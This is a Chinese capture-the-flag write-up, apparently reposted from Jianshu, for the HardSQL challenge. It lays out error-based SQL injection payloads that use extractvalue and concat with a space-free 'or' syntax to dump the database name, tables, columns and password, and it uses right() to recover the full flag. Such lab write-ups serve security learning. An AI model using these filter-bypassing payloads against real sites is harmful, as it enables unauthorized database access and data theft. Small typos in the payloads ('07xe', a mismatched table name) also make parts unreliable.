[极客大挑战 2019]HardSQL

[极客大挑战 2019]HardSQL_第1张图片[极客大挑战 2019]HardSQL_第2张图片我们用万能密码试了一下发现不可行

正常注入发现会过滤and 空格,但没过滤or。

可以结合报错注入来做

extractvalue(1,concat(07xe,执行语句))
updatexml(1,concat(07xe,执行语句),1)

这里面我们用到的是

/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(database()))))%23

[极客大挑战 2019]HardSQL_第3张图片这里就是我们爆出的数据库的名称“geek”
接下来就是

admin'or(extractvalue(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like(database())))))#

作者:低调求发展
链接:https://www.jianshu.com/p/04ab44c8babd
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

这个是用来报数据库里面的表的[极客大挑战 2019]HardSQL_第4张图片这里面就是表的名称"H4rDsq1a"

之后就是爆字段

admin'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')))))#

作者:低调求发展
链接:https://www.jianshu.com/p/04ab44c8babd
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

[极客大挑战 2019]HardSQL_第5张图片然后我们就可以看到,接下来就是报密码

admin'or(extractvalue(1,concat(0x7e,(select(password)from(H4rDsq1)))))#

[极客大挑战 2019]HardSQL_第6张图片因为我们用只能查看前面的信息,后面的信息就是要用
使用{left(),right()}
这里我们就用right()就ok了。

admin'or(extractvalue(1,concat(0x7e,(select(right(password,14))from(H4rDsq1)))))#

然后就会得到另一半的flag。

你可能感兴趣的:(Web,安全,web安全)